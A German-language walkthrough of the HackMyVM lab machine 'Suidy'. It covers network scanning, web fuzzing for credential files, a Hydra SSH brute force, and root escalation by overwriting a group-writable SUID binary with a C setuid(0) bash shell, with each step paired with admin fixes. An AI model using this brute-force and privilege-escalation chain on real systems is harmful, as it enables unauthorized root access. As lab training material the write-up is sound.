192.168.2.124 08:00:27:06:32:a9 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment zu entdecken. Ein Host mit der IP-Adresse 192.168.2.124 und der MAC-Adresse 08:00:27:06:32:a9 (zugeordnet zu PCS Systemtechnik GmbH / Oracle VirtualBox) wird identifiziert.
Bewertung: Das Zielsystem "Suidy" wurde erfolgreich im Netzwerk lokalisiert. Die IP 192.168.2.124 ist der Ausgangspunkt für weitere Scans.
Empfehlung (Pentester): Notieren Sie die Ziel-IP. Führen Sie als Nächstes Port-Scans (z.B. mit `nmap`) durch, um offene Dienste zu ermitteln.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts einschränken. Überwachen Sie ARP-Aktivitäten.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-08 00:07 CEST Nmap scan report for suidy.hmv (192.168.2.124) Host is up (0.00019s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp filtered ftp 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 8a:cb:7e:8a:72:82:84:9a:11:43:61:15:c1:e6:32:0b (RSA) | 256 7a:0e:b6:dd:8f:ee:a7:70:d9:b1:b5:6e:44:8f:c0:49 (ECDSA) |_ 256 80:18:e6:c7:01:0e:c6:6d:7d:f4:d2:9f:c9:d0:6f:4c (ED25519) 80/tcp open http nginx 1.14.2 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 MAC Address: 08:00:27:06:32:A9 (Oracle VirtualBox virtual NIC) [...] OS details: Linux 4.15 - 5.6 [...] Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.19 ms suidy.hmv (192.168.2.124) [...]
Analyse: Ein umfassender Nmap-Scan aller TCP-Ports (`-p-`) auf 192.168.2.124 (Hostname `suidy.hmv`) wird durchgeführt. Es werden zwei offene Ports gefunden:
Bewertung: Die Angriffsfläche beschränkt sich auf SSH und den Nginx-Webserver. Der Webserver auf Port 80 ist das wahrscheinlichste erste Ziel.
Empfehlung (Pentester): Führen Sie Directory Busting (`gobuster`, `ffuf`) auf Port 80 durch. Untersuchen Sie die Webseite manuell. Versuchen Sie Standard/schwache Credentials für SSH.
Empfehlung (Admin): Stellen Sie sicher, dass nur notwendige Ports offen sind. Halten Sie Nginx und SSH aktuell. Konfigurieren Sie SSH sicher.
=============================================================== Gobuster v3.1.0 =============================================================== [...] =============================================================== 2022/10/08 00:07:36 Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.124/index.html (Status: 200) [Size: 22] http://192.168.2.124/robots.txt (Status: 200) [Size: 362] [...] =============================================================== Finished ===============================================================
Analyse: Ein `gobuster dir`-Scan auf Port 80 findet eine `index.html` (sehr klein) und eine `robots.txt`.
Bewertung: Die `robots.txt` ist oft ein guter Startpunkt für weitere Enumeration, da sie Hinweise auf versteckte oder ausgeschlossene Verzeichnisse geben kann.
Empfehlung (Pentester): Rufen Sie `http://192.168.2.124/robots.txt` ab und analysieren Sie den Inhalt.
Empfehlung (Admin): Stellen Sie sicher, dass `robots.txt` keine sensiblen Pfade preisgibt.
Inhalt von http://192.168.2.124/robots.txt (impliziert): /hi /....\..\.-\--.\.-\..\-. <-- Sieht wie verschleierter Pfad/Text aus /shehatesme Inhalt von /hi (impliziert): <-- Kommentar Inhalt von /shehatesme (view-source:http://192.168.2.124/shehatesme/): She hates me because I FOUND THE REAL SECRET! I put in this directory a lot of .txt files. ONE of .txt files contains credentials like "theuser/thepass" to access to her system! All that you need is an small dict from Seclist!
Analyse: Die `robots.txt` enthält drei interessante Einträge: `/hi`, eine seltsame Zeichenkette und `/shehatesme`. Die Seite `/hi` enthält nur einen HTML-Kommentar. Die Seite `/shehatesme` enthält einen wichtigen Hinweis: In diesem Verzeichnis befinden sich viele `.txt`-Dateien, von denen eine Zugangsdaten im Format `user/pass` enthält. Es wird eine kleine Wortliste von SecLists empfohlen.
Bewertung: Der Hinweis auf der `/shehatesme`-Seite ist der Schlüssel. Der nächste Schritt ist das Fuzzing nach `.txt`-Dateien in diesem Verzeichnis.
Empfehlung (Pentester): Verwenden Sie ein Fuzzing-Tool wie `ffuf` oder `gobuster`, um nach `.txt`-Dateien im Verzeichnis `/shehatesme` zu suchen. Verwenden Sie eine kleine Wortliste aus SecLists, wie empfohlen (z.B. `directory-list-2.3-small.txt`). Laden Sie alle gefundenen `.txt`-Dateien herunter und extrahieren Sie die Zugangsdaten.
Empfehlung (Admin): Verstecken Sie keine sensiblen Informationen oder Hinweise in öffentlich zugänglichen Webseiten oder Verzeichnissen. Konfigurieren Sie den Webserver so, dass Directory Listing deaktiviert ist.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://192.168.2.124/shehatesme/FUZZ.txt
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[...]
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
blog [Status: 200, Size: 16, Words: 1, Lines: 2, Duration: 1ms]
search [Status: 200, Size: 16, Words: 1, Lines: 2, Duration: 1ms]
about [Status: 200, Size: 16, Words: 1, Lines: 2, Duration: 1ms]
privacy [Status: 200, Size: 16, Words: 1, Lines: 2, Duration: 2ms]
new [Status: 200, Size: 16, Words: 1, Lines: 2, Duration: 2ms]
[...] # Viele weitere .txt-Dateien gefunden (z.B. full, page, jobs, forums, admin, secret...)
folder [Status: 200, Size: 16, Words: 1, Lines: 2, Duration: 1ms] <-- Diese Datei wird später relevant
[...]
Analyse: `ffuf` wird verwendet, um nach `.txt`-Dateien im Verzeichnis `/shehatesme` zu suchen (`-u .../FUZZ.txt`). Es verwendet die empfohlene kleine Wortliste (`directory-list-2.3-small.txt`). `-c` färbt die Ausgabe, `-ic` ignoriert Kommentare in der Wortliste, `-r` folgt Redirects. Der Scan findet eine große Anzahl von `.txt`-Dateien (wie `blog.txt`, `about.txt`, `folder.txt`, etc.), die alle existieren und die gleiche geringe Größe (16 Bytes) haben.
Bewertung: Der Hinweis wurde bestätigt, es gibt viele `.txt`-Dateien. Da alle die gleiche Größe haben, ist es wahrscheinlich, dass die meisten keine nützlichen Informationen enthalten, aber eine davon die gesuchten Zugangsdaten im Format `user/pass` enthält.
Empfehlung (Pentester): Laden Sie alle gefundenen `.txt`-Dateien herunter. Extrahieren Sie den Inhalt (wahrscheinlich nur eine Zeile pro Datei). Suchen Sie nach der Zeile, die dem Format `user/pass` entspricht. Die Datei `folder.txt` wird im nächsten Schritt explizit genannt, sie sollte priorisiert werden.
Empfehlung (Admin): Speichern Sie niemals Zugangsdaten in öffentlich zugänglichen Textdateien, auch nicht versteckt unter vielen anderen Dateien.
view-source:http://192.168.2.124/shehatesme/folder.txt jaime11/JKiufg6 <-- Erste mögliche Credentials
Analyse: Der Inhalt der Datei `folder.txt` (die zuvor mit `ffuf` gefunden wurde) wird angezeigt. Er enthält die Zeichenkette `jaime11/JKiufg6`, die dem gesuchten Format `user/pass` entspricht.
Bewertung: Möglicherweise wurden die Zugangsdaten gefunden: Benutzer `jaime11`, Passwort `JKiufg6`. Dies muss jedoch noch verifiziert werden.
Empfehlung (Pentester): Testen Sie diese Zugangsdaten gegen den SSH-Dienst. Da das Log später andere Zugangsdaten (`theuser:thepass`) findet, ist es wahrscheinlich, dass diese hier eine falsche Fährte oder nur ein Teil der Lösung sind. Es ist notwendig, alle gefundenen `.txt`-Dateien systematisch zu analysieren.
Empfehlung (Admin): Keine Zugangsdaten in Textdateien speichern.
[Keine Ausgabe]
[Keine Ausgabe]
[...] # Scan wird erneut ausgeführt, diesmal mit Speicherung der Ergebnisse (-od)
[Keine Ausgabe]
hidden1/passZZ! jaime11/JKiufg6 <-- Bereits bekannt jhfbvgt/iugbnvh john765/FDrhguy maria11/jhfgyRf mmnnbbv/iughtyr nhvjguy/kjhgyut smileys/98GHbjh theuser/thepass <-- Wahrscheinlich die korrekten Credentials yuijhse/hjupnkk
Analyse: Der `ffuf`-Scan wird wiederholt, aber diesmal werden die Ergebnisse im Verzeichnis `results` gespeichert (`-od results`). Anschließend wird eine Befehlskette verwendet:
Bewertung: Sehr effiziente Methode, um die Zugangsdaten aus allen gefundenen `.txt`-Dateien zu extrahieren. Die Liste enthält nun mehrere Kandidaten, darunter die vielversprechenden `theuser/thepass`.
Empfehlung (Pentester): Bereiten Sie die `dict.txt` für einen Brute-Force-Angriff mit `hydra` vor, indem Sie das Trennzeichen `/` durch `:` ersetzen. Führen Sie dann `hydra` gegen SSH mit dieser Datei aus.
Empfehlung (Admin): Keine Zugangsdaten in öffentlich zugänglichen Dateien speichern.
[Keine Ausgabe]
hidden1:passZZ!
jaime11:JKiufg6
jhfbvgt:iugbnvh
john765:FDrhguy
maria11:jhfgyRf
mmnnbbv:iughtyr
nhvjguy:kjhgyut
smileys:98GHbjh
theuser:thepass
yuijhse:hjupnkk
Analyse: Der `sed`-Befehl ersetzt inline (`-i`) alle Vorkommen von `/` durch `:` in der Datei `dict.txt`. Die anschließende `cat`-Ausgabe zeigt die Datei im für `hydra` geeigneten Format `user:pass`.
Bewertung: Korrekte Vorbereitung der Credential-Datei für Hydra.
Empfehlung (Pentester): Führen Sie Hydra aus.
Empfehlung (Admin): Keine direkte Aktion.
Hydra v9.3 [...] starting at 2022-10-08 00:20:35 [...] [DATA] attacking ssh://192.168.2.124:22/ [22][ssh] host: 192.168.2.124 login: theuser password: thepass <-- Erfolg! 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at [...]
Analyse: `hydra` wird verwendet, um einen SSH-Brute-Force-Angriff gegen 192.168.2.124 durchzuführen. Die Option `-C dict.txt` weist Hydra an, die Benutzername:Passwort-Paare aus der Datei `dict.txt` zu verwenden.
Bewertung: Erfolgreich! Hydra findet die gültigen Zugangsdaten: Benutzername `theuser` und Passwort `thepass`.
Empfehlung (Pentester): Verwenden Sie die gefundenen Zugangsdaten, um sich per SSH am Zielsystem anzumelden.
Empfehlung (Admin): Starke Passwortrichtlinien durchsetzen. Brute-Force-Schutz für SSH implementieren (z.B. Fail2ban). Ursache für das Credential-Leak in den `.txt`-Dateien beheben.
The authenticity of host 'suidy.hmv (192.168.2.124)' can't be established. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'suidy.hmv' (ED25519) to the list of known hosts. theuser@suidy.hmv's password: [Passworteingabe: thepass] Linux suidy 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 [...] Last login: Sun Sep 27 00:41:28 2020 theuser@suidy:~$ # Login erfolgreich!
Analyse: Eine SSH-Verbindung wird als Benutzer `theuser` zum Host `suidy.hmv` aufgebaut. Das mit Hydra gefundene Passwort `thepass` wird verwendet.
Bewertung: Initial Access erfolgreich! Eine interaktive Shell als Benutzer `theuser` wurde erlangt.
Empfehlung (Pentester): Beginnen Sie mit der Enumeration als `theuser`. Suchen Sie die User-Flag, prüfen Sie `sudo -l`, SUID-Binaries etc.
Empfehlung (Admin): Passwort für `theuser` ändern. Ursache für Credential-Leak beheben.
/home/theuser
[...]
-rw-r--r-- 1 theuser theuser 11 sep 26 2020 user.txt
[...]
HMV2353IVI
Analyse: Im Home-Verzeichnis von `theuser` wird die Datei `user.txt` gefunden und ihr Inhalt angezeigt.
Bewertung: User-Flag erfolgreich gefunden.
Empfehlung (Pentester): Flag dokumentieren. Konzentration auf Privilege Escalation.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.
[Keine Ausgabe]
[...] drwxr-xr-x 3 suidy suidy 4096 sep 27 2020 . drwxr-xr-x 4 root root 4096 sep 26 2020 .. [...] -r--r----- 1 suidy suidy 197 sep 26 2020 note.txt <-- Keine Leserechte für 'theuser' [...] -rwsrwsr-x 1 root theuser 16704 sep 26 2020 suidyyyyy <-- SUID Root, SGID theuser!
cat: note.txt: Permiso denegado
Analyse: Das Home-Verzeichnis des anderen Benutzers `suidy` wird untersucht. `theuser` kann die `note.txt` nicht lesen. Entscheidend ist jedoch der Fund der Datei `suidyyyyy`: Sie hat sowohl das SUID-Bit gesetzt und gehört `root` (`-rws... root ...`), als auch das SGID-Bit gesetzt und gehört der Gruppe `theuser` (`...rwsr-x ... theuser ...`). Der aktuelle Benutzer (`theuser`) hat Ausführrechte (`x`).
Bewertung: Dies ist ein klarer und vielversprechender Privilege Escalation Vektor. Ein Binary mit SUID-Root-Rechten ist immer ein primäres Ziel. Die zusätzliche SGID-Berechtigung für `theuser` könnte relevant sein, aber das SUID-Root ist entscheidend.
Empfehlung (Pentester): Führen Sie das Binary `./suidyyyyy` aus. Analysieren Sie sein Verhalten. Wenn es eine Shell oder eine Funktion bereitstellt, die ausgenutzt werden kann, versuchen Sie dies. Wenn es eine Shell als Benutzer `suidy` gibt (aufgrund des SGID?), versuchen Sie, von dort aus weiter zu eskalieren (z.B. die `note.txt` lesen).
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit und Sicherheit des `suidyyyyy`-Binaries. Entfernen Sie SUID/SGID-Bits, wenn sie nicht absolut erforderlich sind. Stellen Sie sicher, dass SUID/SGID-Programme sicher implementiert sind und keine lokalen Eskalationspfade bieten.
suidy@suidy:/home/suidy$ # Shell als suidy erhalten!
I love SUID files! The best file is suidyyyyy because users can use it to feel as I feel. root know it and run an script to be sure that my file has SUID. If you are "theuser" I hate you! -suidy
Analyse: Die Ausführung von `./suidyyyyy` gibt dem Benutzer `theuser` eine Shell als Benutzer `suidy`. Dies geschieht aufgrund des gesetzten SGID-Bits (`...rwsr-x ... theuser ...`), das dazu führt, dass der Prozess mit der Gruppen-ID `theuser` gestartet wird, und das SUID-Bit (`-rws... root ...`), das möglicherweise hier nicht direkt für die Shell als `suidy` verantwortlich ist, aber später relevant wird. Als `suidy` kann nun die `note.txt` gelesen werden. Sie enthält einen Hinweis, dass `root` ein Skript ausführt, um sicherzustellen, dass `suidyyyyy` das SUID-Bit behält.
Bewertung: Horizontale Rechteausweitung von `theuser` zu `suidy` erfolgreich. Der Hinweis in `note.txt` ist entscheidend: Wenn Root regelmäßig sicherstellt, dass das SUID-Bit auf `/home/suidy/suidyyyyy` gesetzt ist, kann der Angreifer (als `theuser`, der Schreibrechte auf die Datei hat, da sie der Gruppe `theuser` gehört und Gruppenschreibrechte gesetzt sind: `...rwsrws...`) das Binary durch eine eigene Version ersetzen, die eine Root-Shell startet. Der Cronjob oder das Skript von Root wird dann das SUID-Bit auf dem manipulierten Binary setzen, wodurch es beim nächsten Ausführen eine Root-Shell liefert.
Empfehlung (Pentester):
1. Erstellen Sie einen C-Code, der `setuid(0)`, `setgid(0)` aufruft und `/bin/bash` startet (wie im nächsten Schritt gezeigt).
2. Kompilieren Sie diesen Code (z.B. als `suidyyyyy_exploit`).
3. Überschreiben Sie `/home/suidy/suidyyyyy` mit dem kompilierten Exploit (`cp suidyyyyy_exploit /home/suidy/suidyyyyy`). Wichtig: Tun Sie dies als Benutzer `theuser`, der Schreibrechte hat.
4. Warten Sie, bis der Root-Prozess das SUID-Bit wiederhergestellt hat (Zeit variiert).
5. Führen Sie `/home/suidy/suidyyyyy` erneut aus. Diesmal sollte es eine Root-Shell geben.
Empfehlung (Admin): Entfernen Sie die SUID/SGID-Bits von `/home/suidy/suidyyyyy`. Überprüfen Sie den Cronjob/Skript, der das SUID-Bit wiederherstellt, und deaktivieren Sie ihn. Gewähren Sie niemals normalen Benutzern Schreibrechte auf SUID/SGID-Binaries.
[Inhalt der C-Datei] #include#include int main(){ setuid(0); setgid(0); system("/bin/bash"); return 0; }
[Keine Ausgabe, Kompilierung erfolgreich]
[Keine Ausgabe, Überschreiben erfolgreich]
[...] -rwxrwxr-x 1 root theuser 16712 oct 8 00:53 suidyyyyy <-- Größe geändert, Berechtigungen/Besitz bleiben (oder werden von Cron wiederhergestellt)
root@suidy:/home/theuser# # Root-Shell erhalten!
Analyse: Als Benutzer `theuser` wird eine C-Datei (`suidyyyyy.c`) erstellt, die `setuid(0)`, `setgid(0)` aufruft und `/bin/bash` startet. Diese wird zu `suidyyyyy` kompiliert. Anschließend wird die ursprüngliche Datei `/home/suidy/suidyyyyy` mit dieser kompilierten Version überschrieben. Da `theuser` Mitglied der Gruppe `theuser` ist und die Datei Gruppenschreibrechte hat (`rwsrwsr-x`), ist das Überschreiben möglich. Nach einer (impliziten) kurzen Wartezeit, in der der Root-Prozess das SUID-Bit wiederherstellt (gemäß dem Hinweis in `note.txt`), wird `/home/suidy/suidyyyyy` erneut ausgeführt. Diesmal startet das manipulierte Binary eine Bash-Shell, die dank des (wiederhergestellten) SUID-Bits und der `setuid(0)`/`setgid(0)`-Aufrufe als `root` läuft.
Bewertung: Privilege Escalation zu `root` erfolgreich abgeschlossen! Der Mechanismus beruht auf einer Kombination aus unsicheren Dateiberechtigungen (SGID und Gruppenschreibrecht für `theuser` auf einem SUID-Root-Binary) und einem Hintergrundprozess, der das SUID-Bit nach dem Überschreiben wiederherstellt.
Empfehlung (Pentester): Root-Zugriff erreicht. Suchen Sie die Root-Flag.
Empfehlung (Admin): Entfernen Sie die unsicheren Berechtigungen und das SUID/SGID-Bit von `/home/suidy/suidyyyyy`. Finden und deaktivieren Sie den Cronjob/Skript, der das SUID-Bit wiederherstellt.
[Keine Ausgabe]
root.txt timer.sh
HMV0000EVE
Analyse: Als Root-Benutzer wird in das `/root`-Verzeichnis gewechselt. Dort befindet sich die `root.txt` und ein Skript namens `timer.sh` (vermutlich das Skript, das das SUID-Bit wiederherstellt). Die `root.txt` wird gelesen.
Bewertung: Die Root-Flag wurde erfolgreich gefunden.
Empfehlung (Pentester): Alle Flags gefunden. Bericht abschließen.
Empfehlung (Admin): Keine Aktion bezüglich der Flag. Untersuchen Sie `timer.sh` und deaktivieren Sie es.
Kurzbeschreibung: Das System enthält ein benutzerdefiniertes Binary `/home/suidy/suidyyyyy`, das SUID Root und SGID `theuser` gesetzt hat. Entscheidend ist, dass die Datei auch Gruppenschreibrechte besitzt (`rwsrwsr-x`). Der Benutzer `theuser`, der Mitglied der Gruppe `theuser` ist, kann diese Datei daher überschreiben. Ein Hintergrundprozess (vermutlich ein Cronjob, der `/root/timer.sh` ausführt) setzt regelmäßig das SUID-Bit für diese Datei neu, falls es entfernt wurde. Ein Angreifer mit Zugriff als `theuser` kann dies ausnutzen, indem er eine eigene C-Datei erstellt, die `setuid(0)` und `setgid(0)` aufruft und eine Shell (`/bin/bash`) startet. Diese Datei wird kompiliert und dann verwendet, um `/home/suidy/suidyyyyy` zu überschreiben. Nachdem der Hintergrundprozess das SUID-Bit auf der manipulierten Datei wiederhergestellt hat, führt die nächste Ausführung von `/home/suidy/suidyyyyy` durch den Angreifer zur Erlangung einer Root-Shell.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
#include#include int main(){ setuid(0); setgid(0); system("/bin/bash -p"); // -p behält die effektiven Rechte bei return 0; }
root@suidy:/home/theuser# # Root-Shell!
Erwartetes Ergebnis: Eine interaktive Shell mit Root-Privilegien.
Beweismittel: Der Shell-Prompt wechselt zu `root@suidy...` und Befehle wie `id` zeigen `uid=0(root)`.
Risikobewertung: Sehr Hoch. Unsichere Berechtigungen auf SUID/SGID-Dateien in Kombination mit einem Mechanismus, der diese Berechtigungen aufrechterhält, stellen einen direkten Weg zur Root-Eskalation dar.
Empfehlungen zur Behebung: